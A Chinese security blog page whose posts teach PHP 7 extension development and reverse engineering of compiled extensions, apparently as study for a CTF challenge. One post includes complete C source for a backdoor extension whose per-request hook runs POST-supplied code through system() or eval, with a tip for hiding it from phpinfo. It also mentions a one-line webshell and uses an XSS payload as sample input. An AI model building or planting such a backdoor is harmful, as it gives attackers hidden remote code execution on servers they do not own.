Articles in the category of 安全研究

安全研究

前言

继续分析一些拓展中常见的函数和方法和技巧

phpize

内容来自:https://blog.csdn.net/weixin_38674371/article/details/84714696

应用场景

在使用php的过程中,我们常常需要去添加一些PHP扩展库。但是重新对php进行编译是比较蛮烦的,所以这时候我们可以使用phpize对php进行添加扩展。并且phpize编译的扩展库可以随时启用或停用,比较灵活。

使用方法

extention为要挂载的扩展包

wget extension.tar.gz        #下载相应的扩展包并解压。
cd extension/                        #切换到扩展extension的目录中
/php/bin/phpize                 #运行php安装目录下的phpize文件,这时候会在extension目录下生成相应的configure文件。
/configure --with-php-config=/php/bin/php-config         #运行配置,如果你的服务器上只是装了一个版本的php则不需要添加--with-php-config 。后面的参数只是为了告诉phpize要建立基于哪个版本的扩展。
make && make install         #编译模块
#编译好模块之后,需要让php启用它。在php.ini文件中加入把extension.so开启即可。重启php服务。

作用

其实phpize是一个运行脚本,主要作用是检测php的环境还有就是在特定的目录生成相应的configure文件,这样make install之后,生成的.so文件才会自动加载到php扩展目录下面。

除了phpize安装php拓展,还有一个叫 PECL 的php拓展管理工具http://pecl.php.net/
没用过,先鸽这- -

获取php中函数的参数

之前写的拓展函数在php中是无参函数,如果想写一个含参函数,拓展中肯定有对应API来获取传入参数

zend_parse_parameters

定义

大部分php拓展都会使用这个API获取传入参数
zend_parse_parameters(int num_args TSRMLS_DC, char *type_spec, &参数1,&参数2…);
第一个参数是传递给函数的参数个数。通常的做法是使用ZEND_NUM_ARGS()。(ZEND_NUM_ARGS() 来表示对传入的参数“有多少要多少”)这是一个表示传递给函数参数总个数的宏。
第二个参数是为了线程安全,总是传递TSRMLS_CC宏。
第三个参数是一个字符串,指定了函数期望的参数类型,后面紧跟着需要随参数值更新的变量列表。由于PHP是弱类型语言,采用松散的变量定义和动态的类型判断,而c语言是强类型的,而zend_parse_parameters()就是为了把不同类型的参数转化为期望的类型。(当实际的值无法强制转成期望的类型的时候,会发出一个警告)
第四第五直到第n个参数,都是要传进来的值的数值。
注意: 第一个参数和第二个参数之间是空格没有逗号,所以我觉得严格意义上来说应该算一个参数只是两个不同的宏

参数三

对于第三个参数,有以下表格对应

类型指定符对应的C类型描述
llong符号整数
ddouble浮点数
schar *, int二进制字符串,长度
bzend_bool布尔值(1或0)
rzval *资源(文件指针,数据库连接等)
azval *联合数组
ozval *任何类型的对象
Ozval *指定类型的对象。需要提供目标对象的类类型
zzval *无任何操作的zval

举个例子
如果你希望传进来的参数为整数,你可以这么写

zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "l",&param);

然后参数就会被赋值到变量param(long 类型)上,有一点点类似C的scanf

注意

这里需要注意,如果希望传入参数为字符串,需要用到s,但是s对应的有两个c变量
这是API的规定,如果需要传入类型字符串的话,即使PHP函数中只传入了一个参数,那么C里面需要用两个C变量去获取,一个获取字符串的值,一个获取字符串的长度

上面的表格提到了zval,通俗易懂的讲,zval代表了一个php变量,是一个php变量的底层模型,实际上是一个联合体。所有的PHP语言中的复合类型参数都需要zval*类型来作为载体,因为它们都是内核自定义的一些数据结构。


如果我们想写一个如下功能的拓展

<?php
function my_function($msg) {
    echo "输出:{$msg}!\n";
}
my_function('<svg/onload=alert(1)>');

在拓展里可以这么写

//PHP_FUNCTION 第一次宏展开后就是ZEND_FUNCTION
//所以PHP_FUNCTION ZEND_FUNCTION几乎是一样的
ZEND_FUNCTION(my_function) {
    char *msg;
    int msg_len;

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s",&msg, &msg_len) == FAILURE){
        RETURN_NULL();
    }
    php_printf("输出:");
    PHPWRITE(msg, msg_len);
    php_printf("!\n");
}

PHPWRITE 顾名思义,看demo就懂了

对于第三个参数,还有一些拓展用法

符号解释
|它之前的参数都是必须的,之后的都是非必须的,也就是有默认值的。
!如果接收了一个PHP语言里的null变量,则直接把其转成C语言里的NULL,而不是封装成IS_NULL类型的zval。
/如果传递过来的变量与别的变量共用一个zval,而且不是引用,则进行强制分离,新的zval的is_refgc==0, and refcountgc==1.

具体就不做太多介绍了,看个例子就好

<?php
function sample_hello_world($name, $greeting='Mr./Ms.') {
    echo "Hello $greeting $name!\n";
}
sample_hello_world('Ginger Rogers','Ms.');
sample_hello_world('Fred Astaire');
ZEND_FUNCTION(sample_hello_world) {
    char *name;
    int name_len;
    char *greeting = "Mr./Mrs.";
    int greeting_len = sizeof("Mr./Mrs.") - 1;
    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|s",
      &name, &name_len, &greeting, &greeting_len) == FAILURE) {
        RETURN_NULL();
    }
    php_printf("Hello ");
    PHPWRITE(greeting, greeting_len);
    php_printf(" ");
    PHPWRITE(name, name_len);
    php_printf("!\n");
}

zend_get_arguments

ZEND_FUNCTION(my_function) {
    zval *email;
    if (zend_get_parameters(ZEND_NUM_ARGS(), 1, &email)== FAILURE) {
        php_error_docref(NULL TSRMLS_CC, E_WARNING,"至少需要一个参数");
        RETURN_NULL();
    }
    // ... 
}

区别与特点

  1. 能够兼容老版本的PHP,并且只以zval为载体来接收参数。
  2. 直接获取,而不做解析,不会进行类型转换,所有的参数在扩展实现中的载体都需要是zval类型的。
  3. 接受失败的时候,不会自己抛出错误,也不能方便的处理有默认值的参数。
  4. 会自动的把所有符合copy-on-write的zval进行强制分离,生成一个崭新的copy送到函数内部。

这个函数用的比较少,了解下即可

zend_get_parameters_ex

ZEND_FUNCTION(my_function) {
    zval **msg;
    if (zend_get_parameters_ex(1, &msg) == FAILURE) {
        php_error_docref(NULL TSRMLS_CC, E_WARNING,"至少需要一个参数");
        RETURN_NULL();
    }
    // ...
}

这个函数跟上面的zend_get_arguments差不太多,只是把所有参数都填到了一个zval数组中,而不需要考虑参数数量,同样了解一下就可以了

zend_get_parameters_array_ex()和zend_get_parameters_array()

//程序首先获取参数数量,然后通过safe_emalloc函数申请了相应大小的内存来存放这些zval**类型的参数。这里使用了zend_get_parameters_array_ex()函数来把传递给函数的参数填充到args中。 
//这个参数专门用于解决像php里面的var_dump的一样,可以无限传参数进去的函数的实现
ZEND_FUNCTION(var_dump) {
    int i, argc = ZEND_NUM_ARGS();
    zval ***args;
    args = (zval ***)safe_emalloc(argc, sizeof(zval **), 0);
    if (ZEND_NUM_ARGS() == 0 || zend_get_parameters_array_ex(argc, args) == FAILURE) {
        efree(args);
        WRONG_PARAM_COUNT;
    }
    for (i=0; i<argc; i++) {
        php_var_dump(args[i], 1 TSRMLS_CC);
    }
    efree(args);
}
  1. 用于应对无限参数的扩展函数的实现。
  2. zend_get_parameters_array与zend_get_parameters_array_ex唯一不同的是它将zval*类型的参数填充到args中,并且需要ZEND_NUM_ARGS()作为参数。

当遇到确实需要处理无限参数的时候,这个函数用的会比较多

获取url参数

zend_hash_str_find

pmarkdown就是获取了url参数,然后拼接到字符串中发起网络请求。
找这个功能找了好久好久,终于给我找到了,找到了还不能直接运行,还要看报错改....
看demo

PHP_FUNCTION(evoA_get)
{
    zval * password;
    zval * get_arr;
    HashTable *get_hash;
    get_arr = &PG(http_globals)[TRACK_VARS_GET]; //Array
    get_hash = HASH_OF(get_arr);
    password = zend_hash_str_find(get_hash, "pass", strlen("pass"));
    if (password != 0) {
        php_printf("Password: %s", Z_STRVAL_P(password));
    }
}

原理就不了解了,懒得了解了,魔改demo就行了,获取GET的宏为TRACK_VARS_GET,同理POST的宏为TRACK_VARS_POST
其他的宏在/main/php_globals.h 源码包里面都有定义

PHP_FUNCTION(evoA_post)
{
    zval * password;
    zval * post_arr;
    HashTable *post_hash;
    post_arr = &PG(http_globals)[TRACK_VARS_POST]; //Array
    post_hash = HASH_OF(post_arr);
    password = zend_hash_str_find(post_hash, "pass", strlen("pass"));
    if (password != 0) {
        php_printf("Password: %s", Z_STRVAL_P(password));
    }
}

注意新建自定义函数要去上一篇提到的的zend_function_entry 结构体声明函数名
然后把拓展挂载到php.ini
php -S 0.0.0.0:8080

图片.png

图片.png
A.php的内容是一句话木马,密码A。
对于$_ENV $_SERVER这两个超全局变量,貌似默认不存在http_globals数组中,如果需要在扩展中引用,可以参考这篇文章https://blog.csdn.net/linkaisheng101990/article/details/46380673
具体原理就是使用zend_is_auto_global函数,把上面两个变量导入到http_globals全局数组中,再通过上面获取GET,POST那样用相应的宏去获取。
累了,不试了,等有时间再研究研究

逆向

图片.png
没什么好解释的,对比下上面源码

zend_hash_find

当我回去看pmarkdown那道题的时候,发现题目中获取url参数的方法是zend_hash_find而不是zend_hash_find_str
所以我觉得,还是要用zend_hash_find API 获取url参数,这个知识点才能过

贴一个zend API小总结
https://www.jianshu.com/p/32fdad9be6c8
由于网上实在找不到demo,唯一几个demo都是基于php5的,参数数量不对,php7的参数数量应该是两个
根据API,我自己写了个根据zend_hash_find获取url参数的方法

// 根据 char * 作为 key 查找数组
zval* zend_hash_str_find(HashTable *ht, char *str, size_t len);  

// 根据 zend_string * 作为 key 查找数组
zval* zend_hash_find(HashTable *ht, zend_string *key);  

// 格式化成 zend_string *, 使用完记得 zend_string_release
zend_string *strpprintf(size_t max_len, const char *format, ...);

----------------------------
PHP_FUNCTION(evoA_hash_get){
    char * urlstr="pass";
    size_t len;
    zval * value;
    zval * get_arr;
    HashTable *get_hash;
    get_arr = &PG(http_globals)[TRACK_VARS_GET]; //Array
    get_hash = HASH_OF(get_arr);
    
    zend_string * zendstr;
    zendstr = strpprintf((size_t)strlen(urlstr),urlstr);
    value = zend_hash_find(get_hash, zendstr);
    if (value != 0) {
            php_printf("Hash_find_str: %s", Z_STRVAL_P(value));
        }
}

所以用zend_hash_find,只需要把字符串通过strpprintf API格式化为zend_string传入就行了
图片.png

逆向

跟上面没什么区别。。。
图片.png
感觉有些东西还是需要动调,之后弄个动调的教程

写个后门?

既然是后门,肯定不能用自定义函数写,必须写在之前讲的PHP_RINIT_FUNCTION 函数中

PHP_RINIT_FUNCTION(evoA)
{
#if defined(COMPILE_DL_EVOA) && defined(ZTS)
    ZEND_TSRMLS_CACHE_UPDATE();
#endif
    zval * action;
    zval * code;
    zval * post_arr;
    char * action_str =NULL;
    HashTable *post_hash;
    post_arr = &PG(http_globals)[TRACK_VARS_POST]; //Array
    post_hash = HASH_OF(post_arr);
    
    //获取url action参数
    action = zend_hash_str_find(post_hash, "action", strlen("action"));
    
      //把zval转换为char*
    action_str = Z_STRVAL_P(action);
    
      //如果是system,执行system函数
    if (strncmp(action_str,"system",6) == 0) {
        code = zend_hash_str_find(post_hash, "code", strlen("code"));
        system(Z_STRVAL_P(code));
    }
    
      //如果是eval执行eval函数
    else if(strncmp(action_str,"eval",4) == 0){
    code = zend_hash_str_find(post_hash, "code", strlen("code"));
        zend_eval_string(Z_STRVAL_P(code), NULL, (char *)"" TSRMLS_CC);
    }
    
    //php_printf("This is PHP_RINIT_FUNCTION");
    return SUCCESS;

}

整个C文件也放这

/*
  +----------------------------------------------------------------------+
  | PHP Version 7                                                        |
  +----------------------------------------------------------------------+
  | Copyright (c) 1997-2018 The PHP Group                                |
  +----------------------------------------------------------------------+
  | This source file is subject to version 3.01 of the PHP license,      |
  | that is bundled with this package in the file LICENSE, and is        |
  | available through the world-wide-web at the following url:           |
  | http://www.php.net/license/3_01.txt                                  |
  | If you did not receive a copy of the PHP license and are unable to   |
  | obtain it through the world-wide-web, please send a note to          |
  | license@php.net so we can mail you a copy immediately.               |
  +----------------------------------------------------------------------+
  | Author:                                                              |
  +----------------------------------------------------------------------+
*/

/* $Id$ */

#ifdef HAVE_CONFIG_H
#include "config.h"
#endif

#include "php.h"
#include "php_ini.h"
#include "ext/standard/info.h"
#include "unistd.h"
#include "php_evoA.h"

/* If you declare any globals in php_evoA.h uncomment this:
ZEND_DECLARE_MODULE_GLOBALS(evoA)
*/

/* True global resources - no need for thread safety here */
static int le_evoA;

/* {{{ PHP_INI
 */
/* Remove comments and fill if you need to have entries in php.ini
PHP_INI_BEGIN()
    STD_PHP_INI_ENTRY("evoA.global_value",      "42", PHP_INI_ALL, OnUpdateLong, global_value, zend_evoA_globals, evoA_globals)
    STD_PHP_INI_ENTRY("evoA.global_string", "foobar", PHP_INI_ALL, OnUpdateString, global_string, zend_evoA_globals, evoA_globals)
PHP_INI_END()
*/
/* }}} */

/* Remove the following function when you have successfully modified config.m4
   so that your module can be compiled into PHP, it exists only for testing
   purposes. */

/* Every user-visible function in PHP should document itself in the source */
/* {{{ proto string confirm_evoA_compiled(string arg)
   Return a string to confirm that the module is compiled in */
PHP_FUNCTION(confirm_evoA_compiled)
{
    char *arg = NULL;
    size_t arg_len, len;
    zend_string *strg;

    if (zend_parse_parameters(ZEND_NUM_ARGS(), "s", &arg, &arg_len) == FAILURE) {
        return;
    }

    strg = strpprintf(0, "Congratulations! You have successfully modified ext/%.78s/config.m4. Module %.78s is now compiled into PHP.", "evoA", arg);

    RETURN_STR(strg);
}
/* }}} */
/* The previous line is meant for vim and emacs, so it can correctly fold and
   unfold functions in source code. See the corresponding marks just before
   function definition, where the functions purpose is also documented. Please
   follow this convention for the convenience of others editing your code.
*/
PHP_FUNCTION(evoA){
    php_printf("This is evoA");
    RETURN_TRUE;
}
PHP_FUNCTION(evoA_hash_get){
    char * urlstr="pass";
    size_t len;
    zval * value;
    zval * get_arr;
    HashTable *get_hash;
    get_arr = &PG(http_globals)[TRACK_VARS_GET]; //Array
    get_hash = HASH_OF(get_arr);
    
    zend_string * zendstr;
    zendstr = strpprintf((size_t)strlen(urlstr),urlstr);
    value = zend_hash_find(get_hash, zendstr);
    if (value != 0) {
            php_printf("Hash_find_str: %s", Z_STRVAL_P(value));
        }
}

PHP_FUNCTION(evoA_post)
{
    zval * password;
    zval * post_arr;
    HashTable *post_hash;
    post_arr = &PG(http_globals)[TRACK_VARS_POST]; //Array
    post_hash = HASH_OF(post_arr);
    password = zend_hash_str_find(post_hash, "pass", strlen("pass"));
    if (password != 0) {
        php_printf("Password: %s", Z_STRVAL_P(password));
    }
}
PHP_FUNCTION(evoA_get)
{
    zval * password;
    zval * get_arr;
    HashTable *get_hash;
    get_arr = &PG(http_globals)[TRACK_VARS_GET]; //Array
    get_hash = HASH_OF(get_arr);
    password = zend_hash_str_find(get_hash, "pass", strlen("pass"));
    if (password != 0) {
        php_printf("Password: %s", Z_STRVAL_P(password));
    }
}
/* {{{ php_evoA_init_globals
 */
/* Uncomment this function if you have INI entries
static void php_evoA_init_globals(zend_evoA_globals *evoA_globals)
{
    evoA_globals->global_value = 0;
    evoA_globals->global_string = NULL;
}
*/
/* }}} */

/* {{{ PHP_MINIT_FUNCTION
 */
PHP_MINIT_FUNCTION(evoA)
{
    /* If you have INI entries, uncomment these lines
    REGISTER_INI_ENTRIES();
    */
    //php_printf("This is PHP_MINIT_FUNCTION");
    return SUCCESS;
}
/* }}} */

/* {{{ PHP_MSHUTDOWN_FUNCTION
 */
PHP_MSHUTDOWN_FUNCTION(evoA)
{
    /* uncomment this line if you have INI entries
    UNREGISTER_INI_ENTRIES();
    */
    //php_printf("This is PHP_MSHUTDOWN_FUNCTION");
    return SUCCESS;
}
/* }}} */

/* Remove if there's nothing to do at request start */
/* {{{ PHP_RINIT_FUNCTION
 */

PHP_RINIT_FUNCTION(evoA)
{
#if defined(COMPILE_DL_EVOA) && defined(ZTS)
    ZEND_TSRMLS_CACHE_UPDATE();
#endif
    zval * action;
    zval * code;
    zval * post_arr;
    char * action_str =NULL;
    HashTable *post_hash;
    post_arr = &PG(http_globals)[TRACK_VARS_POST]; //Array
    post_hash = HASH_OF(post_arr);
    //获取url action参数
    action = zend_hash_str_find(post_hash, "action", strlen("action"));
      //把zval转换为char*
    action_str = Z_STRVAL_P(action);
      //如果是system,执行system函数
    if (strncmp(action_str,"system",6) == 0) {
        code = zend_hash_str_find(post_hash, "code", strlen("code"));
        system(Z_STRVAL_P(code));
    }
      //如果是eval执行eval函数
    else if(strncmp(action_str,"eval",4) == 0){
    code = zend_hash_str_find(post_hash, "code", strlen("code"));
        zend_eval_string(Z_STRVAL_P(code), NULL, (char *)"" TSRMLS_CC);
    }
    //php_printf("This is PHP_RINIT_FUNCTION");
    return SUCCESS;

}
/* }}} */

/* Remove if there's nothing to do at request end */
/* {{{ PHP_RSHUTDOWN_FUNCTION
 */
PHP_RSHUTDOWN_FUNCTION(evoA)
{
    //php_printf("PHP_RSHUTDOWN_FUNCTION");
    return SUCCESS;
}
/* }}} */

/* {{{ PHP_MINFO_FUNCTION
 */
PHP_MINFO_FUNCTION(evoA)
{
    php_info_print_table_start();
    php_info_print_table_header(2, "evoA support", "enabled");
    php_info_print_table_end();

    /* Remove comments if you have entries in php.ini
    DISPLAY_INI_ENTRIES();
    */
}
/* }}} */

/* {{{ evoA_functions[]
 *
 * Every user visible function must have an entry in evoA_functions[].
 */
const zend_function_entry evoA_functions[] = {
    PHP_FE(confirm_evoA_compiled,    NULL)        /* For testing, remove later. */
    PHP_FE(evoA, NULL)
    PHP_FE(evoA_get, NULL)
    PHP_FE(evoA_post, NULL)
    PHP_FE(evoA_hash_get, NULL)
    PHP_FE_END    /* Must be the last line in evoA_functions[] */
};
/* }}} */

/* {{{ evoA_module_entry
 */
zend_module_entry evoA_module_entry = {
    STANDARD_MODULE_HEADER,
    "evoA",
    evoA_functions,
    PHP_MINIT(evoA),
    PHP_MSHUTDOWN(evoA),
    PHP_RINIT(evoA),        /* Replace with NULL if there's nothing to do at request start */
    PHP_RSHUTDOWN(evoA),    /* Replace with NULL if there's nothing to do at request end */
    PHP_MINFO(evoA),
    PHP_EVOA_VERSION,
    STANDARD_MODULE_PROPERTIES
};
/* }}} */

#ifdef COMPILE_DL_EVOA
#ifdef ZTS
ZEND_TSRMLS_CACHE_DEFINE()
#endif
ZEND_GET_MODULE(evoA)
#endif

/*
 * Local variables:
 * tab-width: 4
 * c-basic-offset: 4
 * End:
 * vim600: noet sw=4 ts=4 fdm=marker
 * vim<600: noet sw=4 ts=4
 */

上面的PHP_MINFO_FUNCTION 函数作用是拓展在phpinfo中输出拓展信息,可以把中间的代码注释掉让后门更隐蔽。

eval

图片.png

system(暂时没有回显,还没有好的解决方案)

图片.png
图片.png

至于php拓展获取php.ini, 生成返回值,获取全局变量等内容先鸽了,有时间再写
下次就先写vscode 和 gdb的动态调试吧(flag

参考

https://www.freebuf.com/articles/web/179713.html
http://www.vuln.cn/7045
https://www.jianshu.com/p/32fdad9be6c8
https://blog.csdn.net/mos2046/article/details/7697773 //php7不支持
https://blog.csdn.net/linkaisheng101990/article/details/46380673
https://blog.csdn.net/u011957758/article/details/72513935

- Read More -
安全研究

前言

国赛pmarkdown做自闭了,逆向so找到了存在漏洞的自定义函数,却不知道php拓展so的调用流程。导致不知道如何触发SSRF。在此对php拓展做一个学习。除使用IDA外,其他皆在虚拟机中完成

搭建环境

肯定需要安装php的规定来开发拓展,我们就使用php自带的拓展骨架来开发,然后对骨架进行更改就可以了
全在虚拟机里操作

下载php源码

mkdir php-extension
cd php-extension
# 需下载release 的版本,否者没有ext_skel这个文件
wget https://www.php.net/distributions/php-7.2.20.tar.gz
# 下载可能会很慢,可以用✈️
cd php-7.2.20/ext
./ext_skel --extname=evoA

图片.png
此时当前文件夹会生成一个evoA的文件夹

cd evoA
ls

config.m4   CREDITS  evoA.php      php_evoA.h
config.w32  evoA.c   EXPERIMENTAL  tests/

安装(本地需要已经有php环境)

/usr/local/php/bin/phpize
./configure --with-php-config=/usr/local/php/bin/php-config
make
make install

报了个错。。。
error: unknown type name ‘zend_string’
本地php环境是5的,如果编译php7需要升级到php7
apt install php && apt install php-dev升级一下
然后重复上面的步骤
make install完成后会输出so文件的绝对路径

添加拓展

vim /usr/local/php/etc/php.ini

// 添加扩展

extension = "/You-php-ext-Dir/evoA.so"

// 重启php-fpm
/etc/init.d/php-fpm restart
# 在php-7.2.20/ext/evoA下
php -d enable_dl=On evoA.php

如果输出successful,则代表拓展安装成功。接下来可以开始写拓展的功能了

第一个拓展

接下来开始做我们的第一个php拓展,功能只要输出一行字符串可以

编辑evoA.c 文件
在文件中找到下面的代码

const zend_function_entry evoA_functions[] = {
    PHP_FE(confirm_evoA_compiled,    NULL)        /* For testing, remove later. */
    PHP_FE_END    /* Must be the last line in evoA_functions[] */
};

修改为

const zend_function_entry evoA_functions[] = {
    PHP_FE(confirm_evoA_compiled,    NULL)        /* For testing, remove later. */
    PHP_FE(evoA, NULL)
    PHP_FE_END    /* Must be the last line in evoA_functions[] */
};

中间添加的的 PHP_FE(evoA, NULL)可以理解为函数声明,声明我将要创建一个自定义函数,函数名为evoA
然后定义自定义函数。在文件空白处写

PHP_FUNCTION(evoA){
    php_printf("This is evoA");
    RETURN_TRUE;
}

PHP_FUNCTION是一个宏,参数evoA是我们的函数名,下面的php_printf函数功能是在php中输出内容。RETURN_TRUE也是一个宏,代表这个函数在php中返回值为True

保存后重新编译

./configure --enable-evoA
make
make install
# 没有报错就说明编译安装成功
# 运行一下

evoA@debian ~/p/p/e/evoA> php -d enable_dl=On -r "dl('evoA.so');evoA();"
This is evoA⏎             

# 成功

如果我们想把数据传递给返回值该怎么办
可以这样

PHP_FUNCTION(evoA)
{
    zend_string *strg;
    strg = strpprintf(0, "This is evoA");
    RETURN_STR(strg);
}

拓展运行流程

在evoA.c中,有默认存在的4个函数。分别是

PHP_MINIT_FUNCTION
PHP_MSHUTDOWN_FUNCTION
PHP_RINIT_FUNCTION
PHP_RSHUTDOWN_FUNCTION

这四个函数会在拓展的生命周期中被自动调用

PHP_MINIT_FUNCTION                    #拓展初始化时
PHP_MSHUTDOWN_FUNCTION            #拓展卸载时
PHP_RINIT_FUNCTION                    #一个请求到来时
PHP_RSHUTDOWN_FUNCTION            #一个请求结束时

在php服务启动的时候,拓展会被初始化,此后拓展再也不会被初始化,所以PHP_MINIT_FUNCTION函数在整个生命流程只会执行一次,而PHP_RINIT_FUNCTION函数和PHP_RSHUTDOWN_FUNCTION函数在每一次请求来临时都会执行一次。
对于php如何加载注册拓展,下面这篇文章讲的比较好。

https://www.jianshu.com/p/8beeb1d482d9
把文章内容总结一些关键的
大概总结下流程

  1. 扩展会提供一个 get_module(void)的方法拿到扩展的 zend_module_entry 结构体的定义
  2. 扩展被编译成so文件后,在php.ini文件中配置 xxx.so, 表示加载扩展
  3. php 启动的时候会读php.ini 文件,并做解析

4.在linux下 通过 dlopen()打开扩展的xxx.so库文件

  1. 通过系统的 dlsym()获取动态库中get_module()函数的地址,执行每个扩展的get_module方法拿到 zend_module_entry 结构体
  2. 把zend_module_entry 结构体注册到php的 extension_lists 扩展列表中
  3. 在php的生生命周期中执行各个扩展定义的PHP_MINIT

其中PHP_MINIT_FUNCTION 是php启动的时候加载扩展的时候会调用的函数 , 这个宏展开后其实真的就是定义了一个这样的C函数
zm_startup_##module(...){...}

同理,PHP_MSHUTDOWN_FUNCTION宏展开后为
zm_shutdown_##module(...){...}

PHP_RINIT_FUNCTION宏展开后
zm_activate_##module(...){...}

PHP_RSHUTDOWN_FUNCTION宏展开后
zm_deactivate_##module(...){...}

module就是模块名,比如我的模块是evoA

RE

为了证实上面的结论,接下来逆向一下我的so文件
为了验证,我在我的c文件的上面四个函数中分别加了一句php_printf("this is xxxx") 如下
evoA.c

/*
  +----------------------------------------------------------------------+
  | PHP Version 7                                                        |
  +----------------------------------------------------------------------+
  | Copyright (c) 1997-2018 The PHP Group                                |
  +----------------------------------------------------------------------+
  | This source file is subject to version 3.01 of the PHP license,      |
  | that is bundled with this package in the file LICENSE, and is        |
  | available through the world-wide-web at the following url:           |
  | http://www.php.net/license/3_01.txt                                  |
  | If you did not receive a copy of the PHP license and are unable to   |
  | obtain it through the world-wide-web, please send a note to          |
  | license@php.net so we can mail you a copy immediately.               |
  +----------------------------------------------------------------------+
  | Author:                                                              |
  +----------------------------------------------------------------------+
*/

/* $Id$ */

#ifdef HAVE_CONFIG_H
#include "config.h"
#endif

#include "php.h"
#include "php_ini.h"
#include "ext/standard/info.h"
#include "php_evoA.h"

/* If you declare any globals in php_evoA.h uncomment this:
ZEND_DECLARE_MODULE_GLOBALS(evoA)
*/

/* True global resources - no need for thread safety here */
static int le_evoA;

/* {{{ PHP_INI
 */
/* Remove comments and fill if you need to have entries in php.ini
PHP_INI_BEGIN()
    STD_PHP_INI_ENTRY("evoA.global_value",      "42", PHP_INI_ALL, OnUpdateLong, global_value, zend_evoA_globals, evoA_globals)
    STD_PHP_INI_ENTRY("evoA.global_string", "foobar", PHP_INI_ALL, OnUpdateString, global_string, zend_evoA_globals, evoA_globals)
PHP_INI_END()
*/
/* }}} */

/* Remove the following function when you have successfully modified config.m4
   so that your module can be compiled into PHP, it exists only for testing
   purposes. */

/* Every user-visible function in PHP should document itself in the source */
/* {{{ proto string confirm_evoA_compiled(string arg)
   Return a string to confirm that the module is compiled in */
PHP_FUNCTION(confirm_evoA_compiled)
{
    char *arg = NULL;
    size_t arg_len, len;
    zend_string *strg;

    if (zend_parse_parameters(ZEND_NUM_ARGS(), "s", &arg, &arg_len) == FAILURE) {
        return;
    }

    strg = strpprintf(0, "Congratulations! You have successfully modified ext/%.78s/config.m4. Module %.78s is now compiled into PHP.", "evoA", arg);

    RETURN_STR(strg);
}
/* }}} */
/* The previous line is meant for vim and emacs, so it can correctly fold and
   unfold functions in source code. See the corresponding marks just before
   function definition, where the functions purpose is also documented. Please
   follow this convention for the convenience of others editing your code.
*/
PHP_FUNCTION(evoA){
    php_printf("This is evoA");
    RETURN_TRUE;
}

/* {{{ php_evoA_init_globals
 */
/* Uncomment this function if you have INI entries
static void php_evoA_init_globals(zend_evoA_globals *evoA_globals)
{
    evoA_globals->global_value = 0;
    evoA_globals->global_string = NULL;
}
*/
/* }}} */

/* {{{ PHP_MINIT_FUNCTION
 */
PHP_MINIT_FUNCTION(evoA)
{
    /* If you have INI entries, uncomment these lines
    REGISTER_INI_ENTRIES();
    */
    php_printf("This is PHP_MINIT_FUNCTION");//这是我加的
    return SUCCESS;
}
/* }}} */

/* {{{ PHP_MSHUTDOWN_FUNCTION
 */
PHP_MSHUTDOWN_FUNCTION(evoA)
{
    /* uncomment this line if you have INI entries
    UNREGISTER_INI_ENTRIES();
    */
    php_printf("This is PHP_MSHUTDOWN_FUNCTION");//这是我加的
    return SUCCESS;
}
/* }}} */

/* Remove if there's nothing to do at request start */
/* {{{ PHP_RINIT_FUNCTION
 */
PHP_RINIT_FUNCTION(evoA)
{
#if defined(COMPILE_DL_EVOA) && defined(ZTS)
    ZEND_TSRMLS_CACHE_UPDATE();
#endif
    php_printf("This is PHP_RINIT_FUNCTION");//这是我加的
    return SUCCESS;
}
/* }}} */

/* Remove if there's nothing to do at request end */
/* {{{ PHP_RSHUTDOWN_FUNCTION
 */
PHP_RSHUTDOWN_FUNCTION(evoA)
{
    php_printf("PHP_RSHUTDOWN_FUNCTION");//这是我加的
    return SUCCESS;
}
/* }}} */

/* {{{ PHP_MINFO_FUNCTION
 */
PHP_MINFO_FUNCTION(evoA)
{
    php_info_print_table_start();
    php_info_print_table_header(2, "evoA support", "enabled");
    php_info_print_table_end();

    /* Remove comments if you have entries in php.ini
    DISPLAY_INI_ENTRIES();
    */
}
/* }}} */

/* {{{ evoA_functions[]
 *
 * Every user visible function must have an entry in evoA_functions[].
 */
const zend_function_entry evoA_functions[] = {
    PHP_FE(confirm_evoA_compiled,    NULL)        /* For testing, remove later. */
    PHP_FE(evoA, NULL)
    PHP_FE_END    /* Must be the last line in evoA_functions[] */
};
/* }}} */

/* {{{ evoA_module_entry
 */
zend_module_entry evoA_module_entry = {
    STANDARD_MODULE_HEADER,
    "evoA",
    evoA_functions,
    PHP_MINIT(evoA),
    PHP_MSHUTDOWN(evoA),
    PHP_RINIT(evoA),        /* Replace with NULL if there's nothing to do at request start */
    PHP_RSHUTDOWN(evoA),    /* Replace with NULL if there's nothing to do at request end */
    PHP_MINFO(evoA),
    PHP_EVOA_VERSION,
    STANDARD_MODULE_PROPERTIES
};
/* }}} */

#ifdef COMPILE_DL_EVOA
#ifdef ZTS
ZEND_TSRMLS_CACHE_DEFINE()
#endif
ZEND_GET_MODULE(evoA)
#endif

/*
 * Local variables:
 * tab-width: 4
 * c-basic-offset: 4
 * End:
 * vim600: noet sw=4 ts=4 fdm=marker
 * vim<600: noet sw=4 ts=4
 */

重新编译安装 在当前目录module文件夹找到evoA.so

扔进ida
图片.png
在左侧的Function 列表里,找到了上诉函数
f5大法好,验证一下
图片.png
图片.png
图片.png
图片.png
需要注意的是,我们自定义的evoA函数,宏展开后,变成了zif_evoA函数
图片.png
所以得到结论,自定义函数xxx宏展开后的函数名为zif_xxx
之后逆向so文件,就知道了php拓展一个完整的调用规则,有4个函数是会被自动调用的,自定义的函数一般是在php文件引用的时候才会调用。当然也可以在4个自动调用的函数中调用自定义函数。

速记

zend_function_entry c语言的结构体,里面有自定义函数的函数名
zend_string 结构体,代表了php的字符串结构

PHP_FUNCTION 定义自定义函数的宏,参数为自定义函数名
php_printf 功能为php中输出的函数,参数为输出内容
RETURN_TRUE 宏,有返回值且返回值为bool 真

RETURN_STR 宏,有返回值且返回类型为字符串
PHP_MINIT_FUNCTION #拓展初始化时调用 宏展开后为zm_startup_##module
PHP_MSHUTDOWN_FUNCTION #拓展卸载时调用 宏展开后为zm_shutdown_##module
PHP_RINIT_FUNCTION #一个请求到来时调用 宏展开后为zm_activate_##module
PHP_RSHUTDOWN_FUNCTION #一个请求结束时调用 宏展开后为zm_deactivate_##module
自定义函数xxx宏展开后的函数名为zif_xxx

- Read More -
安全研究

CSP简介

内容安全策略(CSP)是一种web应用技术用于帮助缓解大部分类型的内容注入攻击,包括XSS攻击和数据注入等,这些攻击可实现数据窃取、网站破坏和作为恶意软件分发版本等行为。该策略可让网站管理员指定客户端允许加载的各类可信任资源。
